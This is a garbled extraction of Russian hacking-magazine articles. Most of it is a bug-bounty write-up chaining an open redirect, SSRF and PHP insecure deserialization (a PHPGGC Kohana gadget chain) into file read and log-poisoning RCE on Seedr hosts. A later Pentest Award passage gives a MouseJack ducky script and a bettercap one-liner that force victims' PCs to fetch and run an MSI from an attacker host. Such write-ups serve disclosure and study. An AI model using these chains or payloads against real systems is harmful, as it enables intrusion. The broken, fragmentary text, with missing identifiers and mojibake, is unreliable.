дос тупен для неав торизо ван ного поль зовате ля;•
кон тро лиру емая стро ка дол жна находить ся в начале тела отве та (PHP
успешно десери али зует {VALID_SER_STRING}TRASH);

•

кон тро лиру емая стро ка дол жна под держи вать сим волы { }, "", необ- 
ходимые для хра нения сери али зован ных объ ектов.

•

Ни же пред став лены некото рые из моих попыток най ти тре буемое поведе ние
на .vimeo.com

 injection is not a valid method.Ïåð âàÿ:

Не дос татки: код отве та HTTP 404 Not Found, не под держи вают ся сим волы
, .{} ""

 injection is not a valid format.Âòî ðàÿ:

Не дос татки: код отве та HTTP 404 Not Found, не под держи вают ся сим волы
, .{} ""

 JavaScript callback.Òðåòüÿ:

Не дос татки:  в начале стро ки, не под держи вают ся сим волы , ./**/ {} ""

 экспорт чата пря мой тран сля ции.×åò âåðòàÿ:

Не дос татки: дата и имя в начале стро ки, тре бует ся аутен тифика ция.

К сожале нию, вто рой сце нарий так же не сра ботал, поэто му моей пос ледней
надеж дой оста валось най ти откры тый редирект на . Ранее я уже
встре чал опуб ликован ный  на HackerOne от 2015 года с откры тым
редирек том на , поэто му пред положил, что есть неболь шой шанс

най ти еще один. На самом деле я одновре мен но искал откры тый редирект
еще во вре мя про вер ки вто рого сце нария, но сно ва ничего не нашел.

vimeo.com
от чет

vimeo.com

ÎÒÊÐÛÒÛÉ ÐÅÄÈÐÅÊÒ

Все это вре мя, пока я рас кру чивал уяз вимость, я думал о статье Harsh Jaiswal
. Я отчетли во пом нил, что

для успешной экс плу ата ции исполь зовалось нес коль ко откры тых редирек тов
на . Уяз вимость была най дена еще в 2019 году, поэто му я ожи дал,

что опи сыва емые в статье откры тые редирек ты уже исправ лены. Но пос коль- 
ку, веро ятно, это был мой единс твен ный шанс, я начал копать в этом нап- 
равле нии.

Vimeo SSRF with code execution potential

vimeo.com

Из-за того, что информа ция на скрин шотах была недос таточ но скры та,
уда лось пред положить уяз вимый эндпо инт по исполь зуемым GET-парамет- 
рам. Учи тывая это, я нем ного погуг лил и почитал докумен тацию Vimeo API
и смог опре делить, какой имен но эндпо инт исполь зовал Harsh в сво ей цепоч- 
ке. В любом слу чае оста валось неяс ным, какие зна чения GET-парамет ров я
дол жен передать.

Я ред ко про шу кого-то о помощи, не счи тая нес коль ких дру зей, но, пос коль ку
я был в тупике, Harsh был моей пос ледней надеж дой.

Пос ле того как я написал ему и пре дос тавил всю име ющуюся информа- 
цию, он поделил ся со мной рабочей ссыл кой с откры тым редирек том,
которая ока залась такой же, как я и подоз ревал, но с вер ными зна чени ями
GET-парамет ров. По этой ссыл ке я понял, что это не баг на ,

а фича (дей стви тель но, это не шут ка).

vimeo.com

Итак, теперь у меня есть работа ющий откры тый редирект на , оста- 

лось толь ко его при менить.

vimeo.com

От лично, я наконец-то сло вил HTTP-зап рос на свой хост. Преж де чем перей- 
ти к десери али зации, я решил нем ного поиг рать с SSRF. Резуль таты смот ри
на скрин шотах.

https://127.0.0.1

https://127.0.0.1:22

http://127.0.0.1:25

Из-за того, что воз вра щаемое зна чение из фун кции 

переда ется сра зу в фун кцию , у меня не получи лась пол ная
SSRF, что бы читать успешные отве ты от внут ренних сер висов. Но по край ней
мере у меня уже была полус лепая SSRF с воз можностью выпол нять ска ниро- 
вание пор тов.

file_get_contents()
unserialize()

Как толь ко я понял, что исполь зовал поч ти весь потен циал этой SSRF, я
перек лючил ся на экс плу ата цию фун кции .unserialize()

ÍÅÁÅÇÎÏÀÑÍÀß ÄÅÑÅÐÈÀËÈÇÀÖÈß

Вкрат це объ ясню, что необ ходимо для успешной экс плу ата ции небезо пас ной
десери али зации в PHP:

кон тро лиру емые вход ные дан ные;•
класс с магичес ким методом ( , , 

 и так далее);
• __wakeup() __destroy() __toString(

)

в магичес ком методе опре деле на полез ная фун кци ональ ность, которой
мож но зло упот ребить (нап ример, манипу ляция с фай ловой сис темой
или выпол нение зап росов к базе дан ных);

•

класс заг ружен.•

Как видишь, на тот момент выпол нялось толь ко одно тре бова ние из четырех.
О сер верном коде на хос те я знал слиш ком мало, поэто му единс твен ный спо- 
соб экс плу ата ции — это всле пую поп робовать все извес тные цепоч ки гад- 
жетов. Для это го я исполь зовал инс тру мент PHPGGC, который по сути явля- 
ется набором полез ных наг рузок для экс плу ата ции фун кции 

вмес те с инс тру мен том для их генера ции. В то вре мя он содер жал поч- 
ти 90 дос тупных наг рузок. Боль шая часть из них пред назна чена для раз- 
личных CMS и фрей мвор ков, таких как WordPress, ThinkPHP, TYPO3, Magento,
Laravel, которые в моем слу чае были совер шенно бес полез ны. Поэто му я
сде лал став ку на такие широко исполь зуемые биб лиоте ки, как Doctrine,
Guzzle, Monolog и Swift Mailer.

unserialize()

С помощью PHPGGC я пред варитель но сге нери ровал все воз можные наг- 
рузки, раз местил их на кон тро лиру емом сер вере и начал перебор. Одна ко
во всех слу чаях я получал одну и ту же ошиб ку: 

.

The error occurs because inside
serialized string there is a reference to a class that hasn't been included yet - so
the PHP autoloading mechanism is triggered to load that class, and this fails for
some reason

В тот момент я уже сми рил ся с тем, что уяз вимый PHP-скрипт, ско рее все го,
при мити вен и не под гру жает никаких допол нитель ных клас сов, которые я бы
мог исполь зовать. Печаль но, но я хотя бы попытал ся. Так час то быва ет, ког да
рас кру чива ешь кру тую уяз вимость, но стал кива ешь ся с чем-то, что пол ностью
бло киру ет даль нейшее прод вижение.

Пос ле обоб щения всех резуль татов я отпра вил ся на HackerOne и сос тавил
отчет под наз вани ем «[player.seedr.ru] Semi-blind SSRF», не забыв приг ласить
Harsh Jaiswal в качес тве соав тора за пре дос тавлен ный откры тый редирект
на .vimeo.com

На этом исто рия мог ла бы и закон чить ся. Но меня не покида ло чувс тво,
что я дол жен про дол жить поис ки. Думаю, тебе это чувс тво зна комо.

Продолжение статьи →

mailto:byqwerton@gmail.com
https://award.awillix.ru/
https://xakep.ru/2023/09/21/perimeter-silver/
https://hackerone.com/mailru
https://hackerone.com/reports/1348154
https://hackerone.com/reports/1354335
https://hackerone.com/reports/1350671
https://hackerone.com/reports/1360208
https://hackerone.com/reports/44157
https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e
https://stackoverflow.com/a/19511801
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Нес коль ко дней спус тя мой взгляд слу чай но зацепил ся за какую-то информа- 
цию про уяз вимость use after free в фун кции . Вер сия PHP

на  ока залась уста рев шей, и я сра зу начал изу чать эту тему.

Я озна комил ся с отче тами Taoguang Chen, который сооб щил коман де PHP
о нес коль ких десят ках проб лем с фун кци ей . Хотя уяз вимос ти,
свя зан ные с памятью, все еще тем ный лес для меня, я все же пос тарал ся сге- 
нери ровать нес коль ко наг рузок. Пос ле про дол житель ных локаль ных тес тов я
вер нулся на , раз местил наг рузку на кон тро лиру емом сер- 
вере, отпра вил зап рос, и...

unserialize()
player.seedr.ru

unserialize()

player.seedr.ru

Серь езно? На устрой стве не оста лось мес та? Я толь ко начал. Но подож ди,
это не похоже на стан дар тное сооб щение о закон чившем ся мес те на устрой- 
стве:

ErrorException [ 2 ]: file_put_contents(/var/www/seedr.backend.v2/
application/logs/2021/12/20.php): failed to open stream: No space 
left on device \~ SYSPATH/classes/kohana/log/file.php [ 81 ] 

Ско рее все го, эта ошиб ка воз никла потому, что мои ска неры отпра вили
слиш ком мно го зап росов, ког да в пре дыду щие дни я искал скры тые
веб-дирек тории и фай лы.

Кас томный класс для логиро вания? Видимо, этот «при митив ный» PHP-
скрипт все же что-то под гру жает. Инте рес но. Kohana? Я уже встре чал
это сло во во вре мя тес тирова ния Seedr. Но где?

Бла года ря Burp Suite Professional я быс тро нашел пер вое упо мина ние
о Kohana в исто рии прок си, открыл нуж ную ссыл ку и уви дел под робную стра- 
ницу ошиб ки.

Здесь я сде лаю неболь шое отступ ление, что бы рас ска зать о Seedr и о том,
отку да взял ся . Одна ко сто ит отме тить, что вся информа- 

ция, которую я буду пре дос тавлять, — это мои лич ные пред положе ния, а они
могут ока зать ся неточ ными.

v2.nativeroll.tv

Seedr и Nativeroll — плат формы для виде орек ламы. У Seedr уста рев ший
дизайн, поэто му я пред положил, что она была соз дана задол го до Nativeroll.
Обе плат формы были куп лены на тот момент еще Mail.Ru Group, веро ятно,
каким-то обра зом объ еди нены и раз мещены на HackerOne в одном ско упе.
Таким обра зом, , , 

,  име ли общую кодовую базу. Наде юсь, теперь ста ло

нем ного понят нее.

v2.nativeroll.tv/api/ api.seedr.ru api-stage.seedr.
ru player.seedr.ru

Хо рошо, давай теперь вер немся к кра сивой стра нице с ошиб кой.
, ,  — выг лядит соч но. Вот

что я уви дел пос ле нажатия на ссыл ку .
Environment Included files Loaded extensions

Included files

Поч ти 90 фай лов, по сути — раз личные клас сы, под гру жен ные с помощью
чего-то вро де . Явля ется ли Kohana чем-то вро де CMS
или фрей мвор ка? Да, это так. Пос ле неболь шого поис ка я нашел на GitHub

, который выг лядит заб рошен ным.

autoload.php

ре пози торий

Пос коль ку  и  име ют общую кодовую базу, я

успешно выз вал Error exception на  таким же спо собом
( ) и получил тот же резуль тат.

v2.nativeroll.ru api.seed.ru
api.seedr.ru

https://api.seedr.ru/<svg>
Что бы выз вать Error exception имен но на  (эндпо инт,

который я ата ковал), я взял ответ с 
 и изме нил тип зна чения атри бута description со  на .

api.seedr.ru/video
http://vimeo.com/api/v2/video/

123456.php стро ки мас сив

Во вре мя выпол нения скрип та фун кция  ожи дала ,
но получи ла , что выз вало Error exception с час тичным рас кры тием
PHP-шаб лона и трас сиров кой сте ка.

htmlspecialchars() стро ку
мас сив

Как я и думал, там при сутс тво вал скрипт авто заг рузки Composer. Сре ди под- 
гру жен ных фай лов я выделил нес коль ко потен циаль но полез ных при десери- 
али зации:

Guzzle ( )• /var/www/sentry/vendor/guzzlehttp/...

Swift Mailer ( )• MODPATH/email/vendor/swiftmailer/...

Symfony ( )• /var/www/sentry/vendor/symfony/...

Mustache ( )• MODPATH/kostache/vendor/mustache/...

Sentry ( )• /var/www/sentry/vendor/sentry/...

Я знал, что в PHPGGC есть нес коль ко цепочек гад жетов для Guzzle, Swift
Mailer и Symfony. Пос ле того как я сге нери ровал и про тес тировал наг рузки
на , появи лись новые ошиб ки. Нап ример, попыт ка с наг-

рузкой для Guzzle вер нула ошиб ку «FnStream never should be unserialized».
Это ука зыва ло на то, что скрипт исполь зовал уже .

api-stage.seedr.ru

ис прав ленную вер сию

Swift Mailer и Symfony не сра бота ли вооб ще, а ана лиз кода Mustache и Sentry
на GitHub так же не при нес никаких пло дов, так что сто рон ние биб лиоте ки
меня не выручи ли. Приш ло вре мя пог рузить ся в Kohana.

По иск магичес ких методов, таких как , ,

, в репози тории Kohana ока зал ся без резуль тат ным.

__wakeup() __destruct
__toString()

Но в этом репози тории есть каталог , который на самом деле явля ется

отдель ным репози тори ем Kohana Core.

system

Поп робу ем поис кать магичес кие методы уже в этом репози тории.
Для ,  резуль татов поч ти нет, но резуль таты
для  обна дежи вают.

__destruct() __wakeup()
__toString()

Я бег ло прос мотрел резуль таты, и файл , а так же

его фун кция  сра зу же прив лекли мое вни мание.

classes/Kohana/View.php
render()

Дол жен ска зать, что в прош лом у меня был неболь шой опыт бэкенд-раз- 
работ ки. Я написал нес коль ко про ектов на Laravel и уже был зна ком с пат- 
терном MVC (model — view — controller). Для рен дерин га шаб лонов и пред- 
став лений в Laravel исполь зует ся дви жок Blade. Пос коль ку такие движ ки
обыч но заг ружа ют шаб лоны, я пред положил, что смо гу как-то передать в фун- 
кцию свой собс твен ный файл или кон тент.

Да вай вни матель но рас смот рим фун кцию :render()

    public function render($file = NULL)
{
      if ($file !== NULL)
   {
       $this->set_filename($file);
   }

    if (empty($this->_file))
   {

         throw new View_Exception('You must set the file to use 
within your view before rendering');
   }

   // Combine local and global data and capture the output
     return View::capture($this->_file, $this->_data);
}

Фун кция  при нима ет один аргу мент под наз вани ем , а затем

вызыва ет фун кцию .

render() $file
capture()

     protected static function capture($kohana_view_filename, array
$kohana_view_data)
{
   // Import the view variables to local namespace
    extract($kohana_view_data, EXTR_SKIP);

    if (View::$_global_data)
   {
       // Import the global view variables to local namespace

          extract(View::$_global_data, EXTR_SKIP | EXTR_REFS);
   }

   // Capture the view output
   ob_start();

   try
   {
       // Load the view within the current scope

        include $kohana_view_filename;
   }
     catch (Exception $e)
   {
       // Delete the output buffer
       ob_end_clean();

       // Re-throw the exception
        throw $e;

   }

   // Get the captured output and close the buffer
    return ob_get_clean();
}

Как ска зано в ком мента рии, фун кция  объ еди няет локаль ные и гло- 

баль ные перемен ные и фик сиру ет вывод. Она при нима ет два аргу мен та:
 и . Ты, веро ятно, уже заметил

фун кцию, которой потен циаль но мож но зло упот ребить при десери али зации:

capture()

$kohana_view_filename $kohana_view_data

{
// Load the view within the current scope
include $kohana_view_filename;

}

Фун кция ! Это уже попахи вает LFI и RCE. Но есть ли у нас кон троль

над ?

include()
$kohana_view_filename

Ока зыва ется, да! Мы можем передать его в качес тве аргу мен та в фун кцию
 во вре мя соз дания объ екта :__construct() View

        public function __construct($file = NULL, array $data = NULL)
{
      if ($file !== NULL)
   {
       $this->set_filename($file);
   }

      if ($data !== NULL)
   {
       // Add the values to the current data

           $this->_data = $data + $this->_data;
   }
}

В тот момент у меня выпол нялись все усло вия для успешной экс плу ата ции
небезо пас ной десери али зации:

я кон тро лиро вал вход ные дан ные;•
у меня был магичес кий метод  клас са  с полез ной
фун кци ей ;

• __toString() View

include()

класс  был заг ружен.• View

Бин го!

ÂÑЁ ÂÌÅÑÒÅ

Че рез некото рое вре мя я соз дал гад жет и цепоч ку для PHPGGC локаль но,
которые поз же были добав лены в основной репози торий:

<?php

 namespace GadgetChain\Kohana;

   class FR1 extends \PHPGGC\GadgetChain\FileRead
{
       public static $version = '3.*';
       public static $vector = '__toString';
       public static $author = 'byq';
       public static $information = 'include()';

      public function generate(array $parameters)
   {

         return new \View($parameters['remote_path']);
   }
}

<?php

 class View
{
    protected $_file;

      public function __construct($_file) {
         $this->_file = $_file;

   }
}

За тем я прос то запус тил PHPGGC и получил сле дующий сери али зован ный
объ ект.

Я раз местил наг рузку на кон тро лиру емом сер вере и отпра вил зап рос.
Резуль тат показан на сле дующем скрин шоте.

По край ней мере это было что-то новень кое. Но на что я наде ялся? Ведь
исполь зовал ся метод , а не методы 

или , которые сра баты вают в момент соз дания и унич тожения
объ екта соот ветс твен но. В  ска зано сле дующее.

__toString() __wakeup()
__destruct()

до кумен тации PHP

По луча ется, мне как-то необ ходимо вывес ти объ ект . На самом деле
нес ложно было понять, что я дол жен передать свой объ ект  в качес тве

зна чения атри бута  или  — трюк, который я про делал

ранее с мас сивом, что бы выз вать Error exception. Вот как выг лядела моя наг- 
рузка.

View
View

title description

Я сно ва обно вил наг рузку на кон тро лиру емом сер вере, отпра вил зап рос
и наконец получил ответ.

Я получил содер жимое фай ла  внут ри метате га 

. Кру то, локаль ное чте ние фай лов нам ного луч ше, чем полус- 
лепая SSRF, но это все еще не RCE.

/etc/passwd og:
description

Продолжение статьи →

https://github.com/kohana/kohana
https://github.com/guzzle/psr7/blob/master/src/FnStream.php#L60
https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php
https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php#L346
https://www.php.net/manual/ru/language.oop5.magic.php#object.tostring
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ËÎÃÈ

Уяз вимость LFI — нас толь ко ред кая наход ка в сов ремен ных веб-при ложе- 
ниях, что мне приш лось вспо минать, где мож но раз местить наг рузку, что бы
заг рузить ее с помощью фун кции  и получить RCE. Наибо лее рас- 

простра нены такие тех ники:

include()

заг рузка фай лов (в моем слу чае в при ложе нии не было этой фун кци ональ- 
нос ти);

•

логи (Apache, Nginx, Mail, SSH...);•
, ;• /proc/*/fd /proc/self/environ

файл PHP-сес сии.•

Как ты уже понял, я переп робовал поч ти всё, но ничего не сра бота ло. Приш ло
вре мя сде лать нес коль ко шагов назад, а имен но к ошиб ке, свя зан ной
с отсутс тви ем мес та на устрой стве.

Из этой ошиб ки я смог извлечь путь к какому-то логу 

. Пос ле попыт ки открыть 

 в бра узе ре я получил ошиб ку «No direct
script access». Поч ти в каж дом PHP-фай ле фрей мвор ка Kohana есть такая
строч ка в начале.

/application/logs/
2021/12/20.php https://api.seedr.ru/
application/logs/2021/12/20.php

По хоже, что я не могу получить дос туп к логам с рас ширени ем  непос- 

редс твен но из бра узе ра. К моему удив лению, поп робовав открыть на stage-
хос те с адре сом 

, я получил код отве та HTTP 404. Не знаю, что меня под тол кну ло,

но я изме нил рас ширение  на , и...

.php

http://api-stage.seedr.ru/application/logs/2021/
12/20.php

.php .log

Да, я получил огромный лог-файл, пос ле чего мой Burp Suite даже нем ного
под вис. Дол жен отме тить, что такой трюк не сра ботал на production-хос те

. Думаю, что раз работ чики Seedr спе циаль но что-то поменя ли
на stage-хос те, что бы упростить дос туп к логам. Но, как обыч но, это при вело
к проб леме безопас ности.

api.seedr.ru

В оче ред ной раз передо мной откры лась новая дверь. Ты еще пом нишь,
как я выз вал Error exception в пер вый раз ( )?

Вот запись об этом в логе.

https://api.seedr.ru/<svg>

Пос ле крат кого ана лиза логов я «отра вил» его такой записью.

С помощью PHPGGC я сге нери ровал новый сери али зован ный объ ект 

с фай лом 
, раз местил его на кон тро лиру емом сер вере, отпра вил зап рос и получил

сле дующую ошиб ку.

View
/var/www/t1.seedr.backend/application/logs/2021/12/20.

log

Ви димо, из-за того, что файл жур нала был слиш ком боль шим
(более 200 000 строк), какая-то фун кция ломалась на одном из сим волов ,

выб расыва ла исклю чение и оста нав ливала выпол нение скрип та. На самом
деле я прос то опе чатал ся, пред лагаю тебе самос тоятель но най ти ошиб ку
в моей наг рузке. Из  я узнал сле дующее.

*?

до кумен тации PHP

Пос коль ку лог за 20 декаб ря был испорчен моей неудач ной наг рузкой, даль- 
нейшее тес тирова ние на этом хос те ока залось бес полез ным. Поэто му я
перешел к тес тирова нию на локаль ном окру жении. Мно гоча совая отладка,
экспе римен ты с фун кци ей  и логом не при вели к жела емо му

резуль тату.

include()

При нимая утренний душ, я вспом нил еще одну пот ряса ющую статью
от Charlese Fol: 

. В ней автор исполь зует тех нику с осо бен ностью мно жес твен ного
декоди рова ния Base64, которая игно риру ет не-Base64-сим волы. Изна чаль но
я про читал об этом в 

.

Laravel <= v8.4.2 debug mode: Remote code execution (CVE-
2021-3129)

бло ге тай вань ско го иссле дова теля безопас ности
Orange Tsai

Моя идея зак лючалась в том, что бы отра вить лог PHP-наг рузкой, закоди- 
рован ной в Base64 нес коль ко раз, а затем рас кодиро вать его с помощью
нес коль ких PHP-филь тров  внут ри фун кции

, что бы обой ти ошиб ку с сим волом . Но, пос коль ку у меня была

бес сонная ночь, мой мозг работал пло хо, и я сов сем забыл, что в слу чае
с Laravel иссле дова тель зло упот реблял цепоч кой фун кций

 и  с оди нако выми аргу мен тами

внут ри, что поз волило ему перепи сать лог. Я так же забыл и о сле дующем
огра ниче нии.

convert.base64-decode
include() ?

file_get_contents() file_put_contents()

Из-за пред ска зуемо го пути ( ) я ска чал

нес коль ко логов за пре дыду щие дни и пла ниро вал отра вить лог за 21 декаб ря
в начале суток, пока он не стал слиш ком боль шим.

/application/logs/2021/12/20.log

Я добавил новую информа цию в отчет на HackerOne, и у меня в наличии
оста вал ся целый день до 21 декаб ря. Не теряя вре мени, я попытал ся про экс- 
плу ати ровать уяз вимость на , так как все пос ледние тес ты я

про водил на . Еще раз с помощью PHPGGC я сге нери- 

ровал объ ект  с фай лом , раз местил его на кон тро лиру емом
сер вере и не уви дел в отве те содер жимого фай ла . Я пов торил

те же шаги на , но там по-преж нему все работа ло

как надо. Упс, неуже ли уяз вим толь ко stage-хост?

api.seedr.ru
api-stage.seedr.ru
View /etc/passwd

/etc/passwd
api-stage.seedr.ru

ÍÓËÅÂÎÉ ÁÀÉÒ

Здесь я дол жен приз нать ся, что, ког да я генери ровал сери али зован ный объ- 
ект с помощью PHPGGC, я нем ного изме нял его.

Дей стви тель но ли стро ка  сос тоит из вось ми сим волов? Нет, толь ко

из шес ти. Имен но это я исправ лял каж дый раз, и все отра баты вало без оши- 
бок на . Поз же в трас сиров ке сте ка я заметил сле- 
дующее.

*_file

api-stage.seedr.ru

Зна чение защищен ного атри бута  рав но , но по какой-то при чине
у объ екта  еще есть пуб личный атри бут  с моей наг рузкой. Воз- 

можно, зна токи PHP уже поняли при чину такого поведе ния, но мне приш лось
пот ратить некото рое вре мя на решение этой проб лемы.

_file NULL
View *_file

Как ты мог заметить по скрин шотам, для хра нения наг рузки я исполь зовал
сер вис  — быс трое и прос тое решение для при ема вхо дящих HTTP-
соеди нений и раз мещения наг рузки. К сожале нию, на сей раз это сыг рало
со мной злую шут ку. Дело в том, что 

. Вот почему  сос тоит из вось ми сим волов.

Webhook

для хра нения защищен ного зна чения
в сери али зован ной стро ке PHP исполь зует нулевые сим волы (\0) вок руг сим- 
вола * *_file

Пос коль ку я прос то копиро вал наг рузку на , он не сох ранял эти

нулевые сим волы и переда вал в фун кцию  пуб личный атри бут
. Что бы решить проб лему, я прос то раз местил сери али зован ную стро ку

с нулевы ми бай тами на сво ем сер вере. Теперь  перенап равлял

зап росы на мой сер вер, где при помощи фун кции  я отда вал наг рузку

с нулевы ми сим волами. Пос ле того как мне уда лось заг рузить содер жимое
фай ла  на , я сно ва вер нулся к ана лизу заг ружен- 

ных логов.

webhook.site
unserialize()

_file
vimeo.com
echo()

/etc/passwd api.seedr.ru

ÏÎÑËÅÄÍÅÅ «ÎÒÐÀÂËÅÍÈÅ»

В логах обна ружи лось мно жес тво раз личных типов записей, но лишь некото- 
рые из них мож но было исполь зовать для хра нения наг рузки, а боль шинс тво
эндпо интов вооб ще тре бова ли аутен тифика ции. Уже при пер вом ана лизе
логов я заметил сле дующий тип записи.

Этот тип записи хорош тем, что он сох ранял наг рузку толь ко один раз и не
пов торял ее, как в пре дыду щей попыт ке. Я при метил так же воз можную точ ку
инъ екции: заголо вок . Но проб лема зак лючалась в том, что я

не знал, как имен но сге нери ровать такую запись в логе, к какому эндпо инту
мне сле дует обра тить ся.

user-agent

Я греп нул лог со сво им IP и обна ружил, что в сегод няшнем жур нале запись
с моим IP уже при сутс тво вала. Это озна чало, что я уже точ но обра щал ся
к нуж ному эндпо инту. К тому вре мени в моей исто рии Burp Proxy нас читыва- 
лось боль ше 40 тысяч записей, поэто му най ти нуж ный эндпо инт ока залось
не так-то прос то. Срав нив вре мя записи с активностью, которой я был занят
в то вре мя, я понял, что запись, веро ятно, была сге нери рова на во вре мя ска- 
ниро вания с помощью dirsearch. Я запус тил его пов торно, и через некото рое
вре мя эндпо инт, который генери ровал такую запись, был най ден — 

.

api-
stage.seedr.ru/inc

На локаль ном окру жении я спря тал новую наг рузку в тес товый лог, заг- 
рузил его через фун кцию  и получил вывод коман ды . Оста- 

валось толь ко дож дать ся 21 декаб ря и све жего лога, потому что логи
за 20 декаб ря для  и  были отравле ны
моими неудач ными наг рузка ми.

include() bash

api.seedr.ru api-stage.seedr.ru

На сле дующий день я «отра вил» лог с помощью сле дующе го зап роса.

Сге нери ровал наг рузку, раз местил на сер вере, отпра вил зап рос...

Да, я забыл поменять  на  пос ле локаль ных тес тов... В ожи- 
дании сле дующе го дня вспом нил, что сегод ня у меня есть еще одна попыт ка
на .

$argv[1] $_GET[1]

api-stage.seedr.ru

Ата ка завер шилась пол ным успе хом!
Вот схе ма, где показа на вся цепоч ка ата ки.

INFO

Вы ражаю бла годар ность  за то, что
поделил ся откры тым перенап равле нием;

 и моего лич ного экспер та по PHP —
за то, что они были моими резино выми уточ ками.

@rootxharsh

@act1on3

Ссылки по теме

• Harsh Jaiswal (твит)
• Vimeo SSRF with code execution potential
• PHPGGC: PHP Generic Gadget Chains
• Taoguang Chen (ryat)
• Charles Fol
• LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION
• Orange Tsai (твит)
• Orange Tsai (пост в бло ге)

ÂÛÂÎÄÛ

Ра бота над уяз вимостью велась в декаб ре 2021 года, но, ока зыва ется, уже
тог да сущес тво вал аль тер натив ный спо соб эска лиро вать LFI до RCE, исполь- 
зуя толь ко обер тки PHP. Таким обра зом «отравле ние» логов не пот ребова- 
лось бы. Тех ника получи ла широкую извес тность не так дав но,
в октябре 2022 года. Почитать про нее под робнее мож но на  и на

.
GitHub

Synacktiv
Кста ти, в узких кру гах о гад жете с Kohana тоже извес тно уже дав но.

В августе 2022 года я слу чай но обна ружил  от 2015 года
за авторс твом . Как это быва ет в любом откры тии, есть иссле дова- 
тели, которые пре одо лели этот путь до тебя, но от это го само иссле дова ние
ничуть не ста новит ся менее увле катель ным.

ви део док лада
Paul Axe

https://www.php.net/manual/en/language.oop5.magic.php#object.tostring
https://www.ambionics.io/blog/laravel-debug-rce
http://blog.orange.tw/2018/10/
https://webhook.site/
https://stackoverflow.com/a/37468673
https://twitter.com/rootxharsh
https://twitter.com/act1on3
https://twitter.com/rootxharsh
https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e
https://github.com/ambionics/phpggc
https://hackerone.com/ryat
https://twitter.com/cfreal_
https://www.ambionics.io/blog/laravel-debug-rce
https://twitter.com/orange_8361
http://blog.orange.tw/2018/10/
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html
https://www.youtube.com/watch?v=PWjkz8xTI8g&t=314s
https://twitter.com/paul_axe
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В августе 2023 года прош ла церемо ния наг ражде ния 
 — пре мии для спе циалис тов по тес тирова нию на про- 

ник новение. Мы опуб лику ем луч шие работы из каж дой
номина ции и нач нем с про бива перимет ра.

Pentest
Award

Ком пания Awillix учре дила пре мию, что бы этич ные хакеры смог ли гром ко
заявить о себе и рас ска зать о сво их дос тижени ях. Для учас тия спе циалис ты
оставля ли заяв ки с рас ска зом о сво ем луч шем про екте, где боль ше все го
про яви ли сме кал ку, про фес сиона лизм и кре атив.

В этой статье соб раны рай тапы, заняв шие чет вертое, третье и вто рое
мес та в номина ции «Про бив», а сле дом отдель ной пуб ликаци ей вый дет
работа, взяв шая пер вое мес то.

×ÅÒÂÅÐÒÎÅ ÌÅÑÒÎ: «ÂÇËÎÌ ÇÀÂÎÄÀ Ñ ÒÅËÅÔÎÍÀ»

• Àâ òîð: s0i37

В 2020 году я учас тво вал в ком плексном ауди те бес про вод ных сетей на стро- 
гом режим ном заводе. Мне уда лось про бить периметр прос тым и ори гиналь- 
ным спо собом. Дос туп к рабоче му компь юте ру сот рудни ка был получен пря- 
мо с ули цы, по модели внеш него наруши теля и с исполь зовани ем мобиль- 
ного телефо на.

На экра не телефо на мож но видеть шелл, откры тый на компь юте ре сот рудни- 
ка, и приг лашение во внут реннюю сеть завода. Этот кейс на 100% демонс- 
три рует реаль ность ата ки внеш ним наруши телем.

В осно ве ата ки — уяз вимость MouseJack, которая поз воля ет уда лен но вво- 
дить текст через уяз вимые адап теры бес про вод ных мышек.

Для экс плу ата ции на под вержен ном ПК была наб рана коман да из сле дующе- 
го ducky-скет ча:

GUI r 
DELAY 300 
STRING msiexec /i https://en.mousejack.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 
DELAY 300 
GUI SPACE 
DELAY 300 
GUI r 
DELAY 300 
STRING msiexec /i https://ru.mousejack.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 

Эта коман да работа ет на любой Windows, даже ста рой, име ет минималь ную
дли ну и за одно дей ствие ска чива ет и запус кает ука зан ный исполня емый
файл по HTTP.

Для реаль ного про бива перимет ра потен циаль ному зло умыш ленни ку тре- 
бова лось лишь нем ного нас тро ить телефон. Нуж на авто мати чес кая отправ ка
вре донос ных нажатий на каж дую вновь най ден ную бес про вод ную мыш ку
или кла виату ру. Это мож но сде лать такой коман дой:

 
 2

 2

sudo bettercap -eval "hid.recon on; events.on hid.device.new "hid.
inject {{address}} US ducky.txt; sleep ; hid.inject {{address}} US 
ducky.txt; sleep ; hid.inject {{address}}  US ducky.txt;"" 2> /dev/
null 

Те перь ата кующий может убрать телефон в кар ман и неп римет но про гули- 
вать ся вдоль перимет ра, пока ему на вир туал ку при лета ют шел лы.

Âûâîäû
Поз же ана логич ным обра зом мы про бива ли перимет ры очень круп ных
и извес тных ИТ-ком паний. И каж дый раз это мог быть внеш ний наруши тель,
ничем не выделя ющий ся из тол пы.

Уяз вимость работа ет по ради ока налу, а это нак ладыва ет некото рые огра- 
ниче ния на ради ус дей ствия. Ата ковать цели выше вто рого эта жа слож но.
Цели, находя щиеся выше, мож но ата ковать с помощью дро на с прик реплен- 
ным к нему Raspberry Pi Zero и Crazyradio.

Эта уяз вимость, най ден ная еще в 2016 году, по-преж нему акту аль на, так
как име ет аппа рат ную при роду. По моему мне нию, это самая опас ная из всех
физичес ких уяз вимос тей сегод ня, пос коль ку она сра зу же дает RCE на под- 
вержен ных устрой ствах, экс плу ати рует ся за секун ду и нес ложна в экс плу ата- 
ции.

Бо лее под робно я писал о ней в стать ях «
» и «

».

Ки бер фон. Прев раща ем телефон
на Android в инс тру мент хакера Ме гад рон. Стро им хакер ский бес пилот- 
ник — даль нобой ный и с защитой от глу шилок

ÒÐÅÒÜÅ ÌÅÑÒÎ: «ÏÐÎÁÈÂ ÎÄÍÎÃÎ ÈÇ ÊÐÓÏÍÅÉØÈÕ ÁÀÍÊÎÂ
×ÅÐÅÇ ÌÎÁÈËÜÍÎÅ ÏÐÈËÎÆÅÍÈÅ»

• Àâ òîð: WizaXxX

Это крат кая исто рия о пен тесте, который мы про води ли по заказу одно го
из круп ных бан ков. Точ кой вхо да ста ло мобиль ное при ложе ние для биз неса.

Мы замети ли, что домен для поч ты в при ложе нии не сов пада ет с тем,
